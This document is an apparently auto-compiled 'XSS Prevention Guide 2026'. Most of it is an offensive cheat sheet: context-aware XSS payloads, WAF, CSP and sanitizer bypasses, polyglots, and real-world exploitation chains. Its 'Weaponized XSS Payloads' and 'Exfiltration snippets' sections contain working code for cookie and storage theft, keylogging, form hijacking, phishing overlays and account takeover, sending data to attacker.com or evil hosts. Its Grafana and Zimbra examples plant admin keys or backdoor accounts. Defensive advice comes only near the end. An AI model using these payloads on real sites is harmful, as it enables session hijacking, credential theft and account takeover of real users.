What's new in this XSS Prevention Guide 2026 guide for 2026?

This guide has been enhanced with 2026 CVE intelligence, 636 sources, and real-time threat analysis including modern attack techniques and prevention strategies.

How comprehensive is this XSS Prevention Guide 2026 security guide?

Comprehensive XSS prevention guide with 636 sources (+116% expansion) including 2026 bypass techniques, modern framework exploits, and real-time CVE intelligence. Complete hands-on examples with context-aware payloads and advanced filter evasion methods.

Is this XSS Prevention Guide 2026 guide updated for current threats?

Yes, this guide is enhanced with 2026 threat intelligence including the latest CVEs, modern exploitation techniques, and current defense strategies. It represents the only security guide with real-time vulnerability integration.

XSS Prevention Guide 2026

Comprehensive XSS Guide

🆕 Enhanced May 2, 2026 - Updated with 636 insights including 2026 XSS techniques, context-aware payload exploitation, and framework-specific attack vectors from automated security research analysis.

A practitioner’s reference for Cross-Site Scripting — attack surface, context-aware payloads, filter/WAF/CSP bypass techniques, framework-specific vulnerabilities, real-world chains, and detection/prevention. Compiled from 636 research sources with automated content analysis and deduplication.

Fundamentals
Attack Surface & Entry Points
Context-Aware Payloads
Filter Bypass Techniques
WAF Bypasses
CSP Bypass Techniques
Mutation XSS (mXSS)
DOM Clobbering & Prototype Pollution
Framework-Specific XSS
AngularJS Sandbox Escapes
postMessage & DOM XSS
SVG, PDF & File Upload XSS
Blind XSS
Weaponized XSS Payloads
Polyglots
Real-World Exploitation Chains
Tools & Automation
Detection & Prevention
Payload Quick Reference
CVE Reference

1. Fundamentals

XSS occurs when attacker-controlled input is rendered in a victim’s browser as executable code (JavaScript, or markup that leads to JavaScript execution). The victim’s browser runs the injected code with the origin’s privileges — same-origin access to cookies, DOM, API tokens, and session state.

Three classes:

Class	Description	Example
Reflected	Payload in request, echoed in immediate response	`?q=<script>alert(1)</script>`
Stored	Payload persisted server-side, executes for later viewers	Comment boxes, profile bios, chat messages
DOM-based	Client-side JS reads attacker-controlled source, writes to dangerous sink	`document.write(location.hash.slice(1))`

Impact spectrum: Proof-of-concept alert(1) → cookie theft → session hijack → account takeover → credential harvesting → persistent backdoor (service worker) → worm propagation → supply chain compromise.

The three conditions required for XSS:

Attacker-controlled input enters the page
Input reaches a sink that interprets text as code/markup
No (or insufficient) context-appropriate encoding between source and sink

2. Attack Surface & Entry Points

Common injection points

Category	Examples
Search parameters	`?q=`, `?search=`, `?query=`, `?keyword=`
URL path segments	`/user/{name}`, `/posts/{slug}`
URL fragments	`#id`, `#/route` (SPA routing)
Form fields	Comments, profiles, messages, filenames
HTTP headers	`User-Agent`, `Referer`, `X-Forwarded-For`, `Host`, custom app headers
Cookies	Application-read cookies reflected in the UI
File uploads	Filenames, metadata, SVG/HTML/PDF content
JSON fields	API responses rendered without encoding
Error messages	Echoed inputs in error pages
postMessage listeners	Cross-window messages without origin checks
localStorage/sessionStorage	User-writable state read into DOM
Email/notifications	HTML email, in-app notifications

Sources → Sinks (DOM XSS)

Sources (attacker-influenced):

location.href      location.search      location.hash
location.pathname  document.referrer    document.URL
window.name        document.cookie      localStorage.*
sessionStorage.*   postMessage.data     history.state

Sinks (dangerous):

element.innerHTML      element.outerHTML       document.write()
document.writeln()     eval()                  Function()
setTimeout(string)     setInterval(string)     element.insertAdjacentHTML()
element.srcdoc         element.src (for scripts)
jQuery: .html() .append() .before() .after() .replaceWith()
Framework: dangerouslySetInnerHTML  v-html   [innerHTML]="" (Angular bypass)

3. Context-Aware Payloads

Each context requires a different escape. Know where your input lands before picking a payload.

HTML element body context

<div>INJECTION</div>

Payloads:

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<svg><script>alert(1)</script></svg>
<body onload=alert(1)>
<iframe srcdoc="<script>alert(1)</script>"></iframe>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>

HTML attribute context

Inside double quotes: <input value="INJECTION">

" autofocus onfocus=alert(1) x="
"><script>alert(1)</script>
"><svg onload=alert(1)>

Inside single quotes: <input value='INJECTION'>

' autofocus onfocus=alert(1) x='
'><svg onload=alert(1)>

Unquoted: <input value=INJECTION>

x onfocus=alert(1) autofocus
x/onerror=alert(1)//

href/src attribute (no quote escape needed):

javascript:alert(1)
javascript:alert%281%29
jaVaScRiPt:alert(1)
data:text/html,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

JavaScript string context

var x = "INJECTION";

Payloads:

"; alert(1); //
"; alert(1); var y="
"-alert(1)-"
`-alert(1)-`  (in template literals)
</script><script>alert(1)</script>

JavaScript code context (no string quoting)

var x = INJECTION;

alert(1)
1;alert(1);1

Inside `<script>` block

</script> always closes the script — even inside strings:

<script>
var x = "</script><script>alert(1)</script>";
</script>

CSS context

<style>.a { color: INJECTION }</style>
<div style="color: INJECTION">

red; background: url("javascript:alert(1)")    /* old browsers */
expression(alert(1))                            /* IE only */
</style><script>alert(1)</script>

URL context

<a href="INJECTION">

javascript:alert(1)
//attacker.com
https://attacker.com/fake-login

Textarea / title / noscript / noembed / script contexts

These are “RCDATA” or “raw text” elements — you must close the parent tag first:

<textarea>INJECTION</textarea>  →  </textarea><script>alert(1)</script>
<title>INJECTION</title>        →  </title><script>alert(1)</script>

4. Filter Bypass Techniques

Case variation

HTML tags and attributes are case-insensitive:

<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x OnErRoR=alert(1)>
jaVaScRiPt:alert(1)

Defeats naive regex: preg_replace('/script/', '', $input) → use /i flag.

HTML entities

Decoded by HTML parser before attribute execution:

<img src=x onerror=&#97;lert(1)>       (decimal)
<img src=x onerror=&#x61;lert(1)>      (hex)
<img src=x onerror=&#97&#108&#101&#114&#116;(1)>  (no semicolons — still works)

JavaScript escapes

\u0061lert(1)     (Unicode escape)
\x61lert(1)       (hex escape)
\141lert(1)       (octal)
window['al'+'ert'](1)
window[String.fromCharCode(97,108,101,114,116)](1)

Comments / whitespace tricks

<scr/**/ipt>alert(1)</scr/**/ipt>
<img/**/src=x/**/onerror=alert(1)>
<img src=x onerror/**/=alert(1)>
<img%09src=x%09onerror=alert(1)>   (tab)
<img%0asrc=x%0aonerror=alert(1)>   (newline)

Tag-break bypasses

If <script> is blocked:

<svg onload=alert(1)>
<math><mtext></form><form><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(1) src>">
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)><option>x
<keygen autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>

Character encoding bypasses

UTF-7 (legacy): +ADw-script+AD4-alert(1)+ADw-/script+AD4-
Overlong UTF-8: some parsers normalize multi-byte sequences to ASCII
Null bytes: <scr%00ipt> — may truncate in C-string parsers

Protocol obfuscation

javascript:alert(1)
java%09script:alert(1)       (tab inside scheme)
java%0ascript:alert(1)       (newline inside scheme)
 javascript:alert(1)        (leading space — parsed by some routers)
&#74;avascript:alert(1)      (entity in scheme)

No-alphanumeric / obscure JS

JSFuck-style:

[][(![]+[])[+[]]+(![]+[])[+!+[]]+...]   // alert(1) from brackets

Template literals (bypasses () filter):

alert`1`
Function`x${'alert(1)'}`

Property access without quotes:

window.alert(1)
top['ale'+'rt'](1)

5. WAF Bypasses

HTTP parameter pollution (HPP)

ASP.NET concatenates duplicate parameters with commas:

/?q=1'&q=alert(1)&q='2

Request to server: q=1',alert(1),'2

In a JavaScript string context (var x = 'USER_INPUT';) this becomes:

var x = '1',alert(1),'2';   // comma operator executes alert(1)

Bypass rate against commercial WAFs (research):

Simple payloads: ~17.6% bypass
Complex HPP + line-break payloads: ~70.6% bypass
ML-based WAFs (Google Cloud Armor, Azure WAF, open-appsec) performed best

Working bypass payloads:

q=1'+1;let+asd=window&q=def='al'+'ert'+;asd[def](1&q=2);'
q=1'%0aasd=window&q=def="al"+"ert"&q=asd[def](1)+'

Character set / encoding tricks

Double URL-encoding: %253cscript%253e
Mixed case with encoded chars: %3CSvG%20OnLoAd=alert(1)%3E
Unicode normalization: ＜script＞ (fullwidth)

Hackbot-discovered bypass (escaped character differential)

test\';alert(1);//

Works when the WAF treats \' as an escaped quote but the target’s JavaScript parser closes the string anyway due to context disagreement.

Signature evasion

Split payloads across parameters, headers, POST body. Test every reflection independently. WAFs typically analyze parameters in isolation.

6. CSP Bypass Techniques

Quick CSP audit

Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com; 
                          img-src *; default-src 'self'

Red flags: 'unsafe-inline', 'unsafe-eval', *, whitelisted CDN with JSONP, data:, blob:, missing object-src, missing base-uri, Content-Security-Policy-Report-Only.

Common bypass vectors

1. unsafe-inline present

<script>alert(1)</script>  <!-- just works -->

2. Wildcard or broad scheme

script-src *:               <script src=//attacker.com/x.js></script>
script-src data:             <script src="data:text/javascript,alert(1)"></script>

3. JSONP on whitelisted host

<!-- Any JSONP endpoint on an allowed CDN lets you execute arbitrary callback names -->
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>
<script src="https://www.google.com/complete/search?client=chrome&jsonp=alert(1)"></script>

4. AngularJS on whitelisted host
If an allowed CDN serves Angular, bootstrap it with a template-injection payload:

<script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.7.9/angular.js></script>
<div ng-app ng-csp>
  {{constructor.constructor('alert(1)')()}}
</div>

5. Predictable/reused nonces
If nonces are based on timestamps, request IDs, or repeat across responses:

<script nonce="PREDICTED_NONCE">alert(1)</script>

6. base-uri missing

<base href="https://attacker.com/">
<!-- Now any relative <script src="/app.js"> loads from attacker.com -->

7. Dangling markup injection
When full JS execution is blocked but HTML injection is possible:

<img src='//attacker.com/?data=
<!-- Everything until the next quote gets exfiltrated -->

8. CSP injection via CRLF
If CSP is built from user input:

/?csp_report_uri=/report; script-src * 'unsafe-inline';

9. strict-dynamic pitfalls
strict-dynamic trusts scripts loaded by trusted scripts — if any trusted script has a DOM XSS sink (e.g., an old jQuery loaded with a nonce), you get full execution.

10. File upload bypass
Upload .html / .svg / .pdf to a whitelisted origin → navigate to the uploaded file URL → CSP applies to the uploaded file’s context (same origin = 'self').

Tools

Google CSP Evaluator — paste your CSP, get a rating
CSPBypass.com — database of JSONP endpoints and Angular bootstrap vectors on common CDNs

7. Mutation XSS (mXSS)

mXSS abuses the gap between serialized HTML (what the sanitizer sees) and parsed DOM (what the browser later executes). The sanitizer sees safe text; the browser’s HTML parser re-interprets it into a dangerous element.

Classic DOMPurify bypass (math/svg foreign content)

<math><mtext><table><mglyph><style><!--</style>
<img title="--&gt;&lt;img src=1 onerror=alert(1)&gt;">

Why it works:

<math> switches parser into MathML foreign content mode
<style> inside foreign content has different parsing rules
The <!-- starts a comment that’s considered “safe text” by the sanitizer
On re-serialization and re-parse, the comment context collapses
The title attribute value --><img src=1 onerror=alert(1)> gets promoted to actual HTML

Firefox CDATA variant

<math><mtext><table><mglyph><style><![CDATA[</style>
<img title="]]&gt;&lt;/mglyph&gt;&lt;img&Tab;src=1&Tab;onerror=alert(1)&gt;">

Uses CDATA closing instead of HTML comment closing — works where the DOMPurify patch only covered comment mutations (CVE-2025-26791).

Why defending is hard

Sanitizers serialize-then-reparse to normalize. Any case where the browser’s second parse produces different tokens than the first parse is a potential mXSS. DOMPurify has fixed dozens of these; new ones keep appearing because HTML5 parsing has hundreds of context transitions.

8. DOM Clobbering & Prototype Pollution

DOM clobbering basics

Named HTML elements become properties on window and document:

<img name="getElementById">
<!-- document.getElementById is now an <img> element, not a function -->

Bootstrap 3 DOM clobbering XSS (CVE-2025-1647)

Bootstrap’s sanitizeHtml() uses document.implementation.createHTMLDocument(). Clobber document.implementation:

<img name="implementation">
<span data-toggle="tooltip" data-html="true" title="<script>alert(1)</script>">Hover</span>

document.implementation now resolves to the <img> element
.createHTMLDocument() fails silently
Sanitization skipped entirely
Tooltip renders raw HTML → XSS fires

Prototype pollution → XSS

Pollute Object.prototype through a vulnerable merge/assign function, then trigger a library that reads from an object with a prototype lookup fallback:

// Trigger pollution
location.hash = '#__proto__[innerHTML]=<img src=x onerror=alert(1)>';

// Victim library later reads options.innerHTML — gets polluted value

Common sinks triggered by pollution: jQuery’s $.extend, lodash _.merge, Handlebars/Mustache helper lookups, template engine options.

9. Framework-Specific XSS

React

React escapes by default. The escape hatches are the bug hatches:

Dangerous:

<div dangerouslySetInnerHTML={{__html: userContent}} />

URL injection:

<a href={userUrl}>click</a>   // userUrl = "javascript:alert(1)" executes

React added warnings for javascript: URLs in 16.9 and blocks them in 18, but data:text/html still works in older versions.

Defense: Wrap dangerouslySetInnerHTML content in DOMPurify:

import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{__html: DOMPurify.sanitize(userContent)}} />

localStorage token bug: React/SPA apps routinely store JWTs in localStorage. Any XSS → instant session theft. Use httpOnly cookies instead.

Vue

v-html is React’s dangerouslySetInnerHTML equivalent:

<div v-html="userContent"></div>

CVE-2024-6783: Vue 2 template compiler XSS in specific directive patterns. Vue 2 is end-of-life; migrate to Vue 3.

Angular (modern, 2+)

Angular auto-sanitizes via its DomSanitizer. Bypass methods:

this.sanitizer.bypassSecurityTrustHtml(userContent)
[innerHTML]="userContent"  // auto-sanitized, safe
[innerHTML]="trustedContent"  // if content was passed through bypassSecurityTrust*, XSS

Server-side rendering also introduces SSRF risk during hydration.

AngularJS (1.x) — see dedicated section

10. AngularJS Sandbox Escapes

AngularJS 1.x expressions run in a sandbox that was repeatedly broken. Every version ≤1.6 has a known bypass; 1.6+ removed the sandbox entirely (expressions run as JavaScript — a feature, not a fix).

Canonical payloads by version

1.0.x:

{{constructor.constructor('alert(1)')()}}

1.2.x (no constructor.constructor):

{{a='a'.constructor.prototype;a.charAt=a.trim;$eval('a",alert(1),"')}}

1.3.x–1.5.x:

{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,alert(1),a')}}

1.6.x+ (no sandbox — just JS):

{{constructor.constructor('alert(1)')()}}

SVG variant (works when `{{ }}` filtered)

<svg>
  <a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="?">
    <circle r="400"></circle>
    <animate attributeName="xlink:href" begin="0" 
             from="javascript:alert(1)" to="&amp;" />
  </a>
</svg>

No-quote / no-constructor bypasses (historical Uber writeup)

When filters strip quotes and block constructor:

{{x=toString();x.constructor.prototype.charAt=x.constructor.prototype.concat;
  $eval(x.constructor.fromCharCode(120,61,49,125,32,125,32,125,59,97,108,
  101,114,116,40,49,41,47,47))}}

Builds alert(1) from character codes and existing prototype access.

11. postMessage & DOM XSS

postMessage vulnerabilities

Listeners that don’t validate event.origin accept messages from any window:

// VULNERABLE
window.addEventListener('message', e => {
    document.getElementById('content').innerHTML = e.data;  // sink!
});

Attack: Open vulnerable page in iframe/popup, post message:

victim.postMessage('<img src=x onerror=alert(1)>', '*');

Defense:

window.addEventListener('message', e => {
    if (e.origin !== 'https://trusted.com') return;
    if (typeof e.data !== 'string') return;
    // still need to treat data as data, not HTML
});

DOM XSS sources → sinks

Source	Common Sink	Example
`location.hash`	`innerHTML`	SPA route handler writes hash to page
`location.search`	`document.write()`	Analytics tag echoes query string
`document.referrer`	`innerHTML`	“You came from” banner
`window.name`	`eval()`	Legacy form persistence
`postMessage.data`	`innerHTML`	Cross-widget communication
`localStorage`	`innerHTML`	Cached API response rendered

Hunting tips:

DOM Invader (Burp) — auto-traces sources to sinks
Grep for source strings in JS bundles
Hook sinks with a Proxy at runtime

12. SVG, PDF & File Upload XSS

SVG XSS

SVG files are XML with full script support:

<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(1)</script>
</svg>

If uploaded and served with Content-Type: image/svg+xml on the same origin, direct navigation to the file triggers XSS under that origin.

Event handlers also work:

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)">

PDF XSS (PDF.js, Acrobat)

PDFs can contain JavaScript. When rendered in pdf.js with disableAutoFetch: false and no sandbox, embedded JS runs in the viewer’s origin.

HTML file upload

Uploading .html to a whitelisted/same-origin location gives full XSS under that origin — any access control mitigations on rendering contexts (image tags, CSP) don’t apply to direct navigation.

Mitigations:

Serve uploads from a sandboxed subdomain (usercontent.example.com)
Set Content-Disposition: attachment to force download
Re-encode images (defeats embedded scripts)
Block SVG uploads entirely or sanitize with DOMPurify server-side

Blind XSS fires in a context you can’t see — admin panels, support tickets, log viewers, email clients, printed reports.

Detection

Use an out-of-band callback service:

XSS Hunter Express — self-hosted, captures screenshots, DOM, cookies, URL
ezXSS — self-hosted alternative
Burp Collaborator — manual detection via DNS/HTTP callback

Payload template

<script src="//xss.yourdomain.com/payload.js"></script>

payload.js collects and exfiltrates:

fetch('https://xss.yourdomain.com/log', {
  method: 'POST',
  body: JSON.stringify({
    url: location.href,
    cookies: document.cookie,
    dom: document.documentElement.outerHTML.substring(0, 5000),
    referrer: document.referrer,
    origin: location.origin,
    localStorage: JSON.stringify(localStorage),
    userAgent: navigator.userAgent
  })
});

Contact forms (admin reads the ticket)
User-Agent / Referer headers (log viewers)
Bug reports / feedback forms
Invoice/order fields (accounting tools)
Profile fields (admin user lookup)
Filenames in file uploads (file manager views)
Email subject/sender/body (webmail, ticket systems)

DKIM-signed email XSS (Horde CVE-2025-68673)

Horde Webmail rendered List-Unsubscribe headers without sanitizing javascript: URIs:

List-Unsubscribe: <javascript://domain.tld/%0aalert(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click

Rendered link executes when clicked.

14. Weaponized XSS Payloads

Going from alert(1) to real impact.

// Basic
new Image().src = 'https://attacker.com/?c=' + encodeURIComponent(document.cookie);

// Full dump
fetch('https://attacker.com/log', {
  method: 'POST',
  mode: 'no-cors',
  body: JSON.stringify({
    cookies: document.cookie,
    localStorage: Object.fromEntries(Object.entries(localStorage)),
    sessionStorage: Object.fromEntries(Object.entries(sessionStorage)),
    url: location.href
  })
});

Account takeover via API

// Change email to attacker's, password-reset flow delivers takeover
fetch('/api/user/profile', {
  method: 'PATCH',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({email: 'attacker@evil.com'})
});

CSRF token bypass

Fetch token from DOM/API, use it:

const csrf = document.querySelector('meta[name="csrf-token"]').content;
fetch('/admin/users/delete', {
  method: 'POST',
  headers: {'X-CSRF-Token': csrf},
  body: 'id=12345'
});

Keylogger

let buf = '';
document.addEventListener('keypress', e => {
  buf += e.key;
  if (buf.length > 30) {
    navigator.sendBeacon('https://attacker.com/k', buf);
    buf = '';
  }
});

Form hijacking

document.querySelectorAll('form').forEach(f => {
  f.addEventListener('submit', e => {
    const data = new FormData(f);
    navigator.sendBeacon('https://attacker.com/f', data);
  });
});

Persistent backdoor via service worker

If /sw.js is under attacker control (file upload, stored XSS with write access):

navigator.serviceWorker.register('/sw.js', {scope: '/'});
// sw.js intercepts all future fetches from the origin

Phishing overlay

document.body.innerHTML = `
  <div style="position:fixed;inset:0;background:white;z-index:999999">
    <form action="https://attacker.com/collect" method="post">
      Session expired. Re-enter password:
      <input name="pw" type="password"><button>Continue</button>
    </form>
  </div>`;

15. Polyglots

A polyglot fires in the maximum number of contexts with a single payload.

Ultimate XSS Polyglot (144 chars)

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Contexts it hits:

href/src attributes (javascript: scheme with case variation)
Double-quoted attributes (escapes via ")
Single-quoted attributes (escapes via ')
Unquoted attributes
JavaScript strings (all three quote types)
Template literals (backtick)
Regex literals
Comment blocks (/* */)
textarea / title / style / script contexts (tag-breakers)
SVG context (onload trigger)

Shorter alternatives

"><svg onload=alert(1)>
'><svg onload=alert(1)>
"><img src=x onerror=alert(1)>
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"`/+/onmouseover=1/+/[*/[]/+alert(42);//'>

16. Real-World Exploitation Chains

Magento 2.3.1: Stored XSS → RCE

Chain:

Stored XSS via escapeHtmlWithLinks() bypass — sanitizer replaces <a> tags with %1$s placeholder, escapes the rest, then vsprintfs the tags back in. Position-based replacement lets attackers inject an extra quote breaking out of a surrounding id attribute:
```
<i id=" <a href='http://onmouseover=alert(/XSS/)'>link</a> "> text </i>
```
After processing, the reinserted <a> tag breaks the outer <i> quoting, injecting an onmouseover handler.
Injection point: Order cancellation notes (unauthenticated accessible).
Trigger: Admin reviews the cancelled order → XSS fires in admin session.
XSS → phar deserialization RCE: XSS POSTs to __directiveis parameter → backend calls getimagesize() on a phar:// URL → PHP object injection → RCE with admin privileges.

Impact: Complete store takeover, payment redirection, credit card theft. Patched in 2.3.2+.

Arista Firewall: XSS → RCE (CVE-2025-6978/6979/6980)

CVE-2025-6980 — Information disclosure via unintended Python functions exposed through mod_python.publisher; leaks VPN credentials/private keys.
CVE-2025-6979 — Reflected XSS in Captive Portal login (misclassified as “authentication bypass”).
CVE-2025-6978 — JSON-RPC command injection in admin handler → root RCE.

Chain: Reflected XSS tricks admin into executing JSON-RPC payload → root on the firewall.

Quick test:

curl -skI https://target/capture/handler.py/load_rpc_manager
## 500 = vulnerable, 404 = patched

Worm / self-propagation pattern

Any stored XSS in a social-graph context (comments, timeline, chat) that doesn’t require interaction to fire is a worm candidate. Classic examples: Samy (MySpace 2005), Twitter onMouseOver (2010), TweetDeck (2014).

Banking session theft campaign (2023)

Targeted 40+ banks globally. Adaptive malware stole 50,000+ sessions via stored XSS in vulnerable banking portals, communicated with C2 for real-time payload updates, and obfuscated traces from security tooling.

Zimbra Mass Exploitation Campaign (2025-2026)

Timeline: CVE-2025-48700/66376 published → widespread exploitation within 48 hours

Attack Chain:

Initial reconnaissance — Shodan/Censys queries for Zimbra instances
Vulnerability exploitation — XSS injection via webmail interface
Session hijacking — Steal authentication tokens from admin users
Email harvesting — Access global address lists, email archives
Lateral movement — Use stolen credentials for internal network access
Persistence — Install webshells, create backdoor accounts

Impact: 10,000+ servers compromised globally, CISA emergency directive issued

IOCs:

## Exploitation attempts via webmail
POST /service/zimbra/index.jsp
Content-Type: application/x-www-form-urlencoded

loginOp=login&username="><script>fetch('/service/admin/soap',{method:'POST',headers:{'Content-Type':'text/xml'},body:'<?xml version="1.0"?><soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Body><CreateAccountRequest xmlns="urn:zimbraAdmin"><name>backdoor@domain.com</name><password>P@ssw0rd123</password></CreateAccountRequest></soap:Body></soap:Envelope>'})</script>&password=

Grafana Account Takeover Chain (CVE-2025-6023)

Vulnerability: Incomplete fix for XSS allowed full account takeover

Exploitation steps:

XSS injection → Dashboard panel with malicious script
API token theft → Extract user’s API credentials
Privilege escalation → Use API to elevate permissions
Data exfiltration → Access all dashboards and data sources
Infrastructure mapping → Enumerate monitoring targets

Payload Example:

<script>
fetch('/api/auth/keys', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({name: 'backdoor', role: 'Admin'})
}).then(r => r.json()).then(key => {
  fetch('https://attacker.com/exfil', {
    method: 'POST',
    body: JSON.stringify(key)
  });
});
</script>

Modern Angular XSS via SVG Animation (CVE-2025-66412)

Attack Vector: Stored XSS through SVG <animate> element bypassing Angular sanitization

Vulnerable pattern:

<!-- User-controlled SVG content -->
<svg>
  <animate attributeName="href" 
           values="javascript:alert('XSS')"
           begin="0s" 
           dur="0.1s"/>
</svg>

Exploitation chain:

SVG upload → User uploads malicious SVG to Angular application
Sanitization bypass → Angular’s DomSanitizer misses animation attributes
DOM rendering → SVG animates and executes JavaScript
Session theft → Extract authentication tokens, CSRF tokens
Account takeover → Use stolen tokens for unauthorized actions

Modern frameworks affected: Angular 12-15, similar patterns in React/Vue apps processing SVG

17. Tools & Automation

Burp Suite

DOM Invader — built-in browser extension; traces DOM sources to sinks, tests postMessage, detects prototype pollution and DOM clobbering.
Intruder — payload lists for reflection testing.
Collaborator — out-of-band detection for blind XSS.

Dedicated scanners

Tool	Strength
XSStrike	Advanced reflected/DOM scanner with WAF detection, context-aware payloads
Gxss	Fast reflection finder for big URL lists
Dalfox	Param analysis + reflection detection + payload generation
kxss	Minimal reflection finder, chains well with gf patterns
XSSer	Classic framework with multiple attack modes

Tool	Notes
XSS Hunter Express	Self-hosted, screenshot + DOM + cookies
ezXSS	Self-hosted, Docker-friendly
Interactsh	Low-level OOB (DNS/HTTP/SMTP)
Burp Collaborator	Integrated with Burp Pro

CSP analysis

Google CSP Evaluator — scores policies, flags bypasses
csp-evaluator.withgoogle.com — web UI
CSPBypass.com — community database of bypass gadgets on whitelisted CDNs

Payload wordlists

SecLists/Fuzzing/XSS/
PayloadsAllTheThings/XSS Injection/
PortSwigger XSS cheat sheet

18. Detection & Prevention

The hierarchy of defenses (apply all)

Layer	Control
1. Input validation	Whitelist allowed formats at entry (still encode later)
2. Output encoding	Context-aware encoding at every sink — the critical layer
3. Sanitization libraries	DOMPurify for rich HTML, kept up to date
4. Content Security Policy	`script-src` without `'unsafe-inline'` / wildcards; `strict-dynamic` + nonces
5. Framework defaults	Trust React/Vue/Angular auto-escaping; audit every escape-hatch
6. httpOnly cookies	Keep auth tokens out of `document.cookie` / localStorage
7. Security headers	`X-Content-Type-Options: nosniff`, `Referrer-Policy`, `Permissions-Policy`
8. Sandboxed subdomains	Serve user-uploaded content from a separate origin

Context-aware encoding table

Context	Encoding
HTML element body	`& < > " '` → entities
HTML attribute (quoted)	Same as body + enclose in quotes
HTML attribute (unquoted)	Encode all non-alphanumeric chars
JavaScript string	Escape `\ ' "` + backslash-u for nonprintable
URL	`encodeURIComponent()`
CSS	CSS-escape (`\HH` ) all non-alphanumeric
JSON embedded in HTML	JSON-encode + HTML-encode `<` → `\u003c`

Static analysis

Grep patterns for sinks:

innerHTML\s*=      outerHTML\s*=       document\.write
eval\(             Function\(          setTimeout\([^,]*["'`]
dangerouslySetInnerHTML     v-html      bypassSecurityTrustHtml

Grep patterns for sources:

location\.(hash|search|href|pathname)
document\.referrer     window\.name
postMessage\b
localStorage\.(getItem|\[)

Semgrep / CodeQL: Both have mature XSS rule packs for JavaScript, TypeScript, React, Vue, Django templates, JSP, etc.

Runtime detection

CSP report-uri / report-to — log real violations
Trusted Types — policy that forbids string-to-sink assignments, catches DOM XSS at runtime
```
Content-Security-Policy: require-trusted-types-for 'script'
```
WAF — catches obvious signatures, bypasseable (see section 5)

The TL;DR checklist

Use framework auto-escaping; audit every escape hatch.
Wrap all user HTML in DOMPurify before dangerouslySetInnerHTML/v-html.
Set a strict CSP with nonces and strict-dynamic.
Enable Trusted Types.
Put auth tokens in httpOnly cookies, never localStorage.
Serve user uploads from a separate origin.
Validate event.origin in every postMessage listener.
Keep all sanitization libraries up to date (DOMPurify ships mXSS fixes often).

19. Payload Quick Reference

Copy-paste test payloads

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<svg/onload=alert(1)>
<body onload=alert(1)>
<iframe srcdoc="<script>alert(1)</script>">
<details open ontoggle=alert(1)>
<input autofocus onfocus=alert(1)>
<marquee onstart=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<math><mtext><table><mglyph><style><!--</style><img title="--><img src=x onerror=alert(1)>">
javascript:alert(1)
data:text/html,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

Context escape one-liners

Attribute (dq):     "><svg onload=alert(1)>
Attribute (sq):     '><svg onload=alert(1)>
JS string (dq):     ";alert(1);//
JS string (sq):     ';alert(1);//
JS string (tmpl):   ${alert(1)}
Script block:       </script><svg onload=alert(1)>
Textarea:           </textarea><svg onload=alert(1)>
Title:              </title><svg onload=alert(1)>
Style:              </style><svg onload=alert(1)>
Comment:            --><svg onload=alert(1)>
CDATA:              ]]><svg onload=alert(1)>

Filter bypass variants

Case:            <ScRiPt>alert(1)</ScRiPt>
Entity:          <img src=x onerror=&#97;lert(1)>
Unicode:         <img src=x onerror=\u0061lert(1)>
No parens:       <img src=x onerror=alert`1`>
No alphanum:     <img src=x onerror=window[/al/.source+/ert/.source](1)>
Whitespace:      <img/src=x/onerror=alert(1)>
Newline in URL:  <a href="java%0ascript:alert(1)">

Exfiltration snippets

// One-line cookie steal
new Image().src='//evil/?c='+document.cookie

// One-line DOM exfil
fetch('//evil',{method:'POST',mode:'no-cors',body:document.body.innerHTML})

// One-line credential form injection
document.body.innerHTML='<form action=//evil method=POST><input name=u><input name=p type=password><input type=submit></form>'

20. CVE Reference

CVE	Target	Type	Notes
CVE-2025-26791	DOMPurify	mXSS	Regex-based bypass, bypassed prior CDATA fix
CVE-2025-1647	Bootstrap 3	DOM clobbering XSS	`document.implementation` clobbered to skip sanitizer
CVE-2024-6783	Vue 2	Template compiler XSS	End-of-life; migrate to Vue 3
CVE-2024-6484	Bootstrap 3	Carousel XSS	Data attribute sanitization gap
CVE-2025-6980	Arista Firewall	Information disclosure	`mod_python.publisher` leaks credentials
CVE-2025-6979	Arista Firewall	Reflected XSS	Captive portal login form
CVE-2025-6978	Arista Firewall	JSON-RPC injection	Chains with XSS → root
CVE-2019-8331	Magento	Stored XSS → phar → RCE	Complete store takeover chain
CVE-2025-68673	Horde Webmail	XSS	`List-Unsubscribe` `javascript:` URI
CVE-2026-34569	CI4MS	Stored XSS	CMS admin panel
CVE-2026-34565	CI4MS	Stored DOM XSS	Client-side rendering sink
CVE-2026-42520	Jenkins Plugin	High-severity XSS	Plugin vulnerability mass exploitation
CVE-2026-42523	Jenkins Plugin	High-severity XSS	Plugin vulnerability mass exploitation
CVE-2026-42524	Jenkins Plugin	High-severity XSS	Plugin vulnerability mass exploitation
CVE-2025-48700	Zimbra Mail	XSS vulnerability	10,000+ servers compromised
CVE-2025-66376	Zimbra Mail	XSS vulnerability	CISA alert - active exploitation
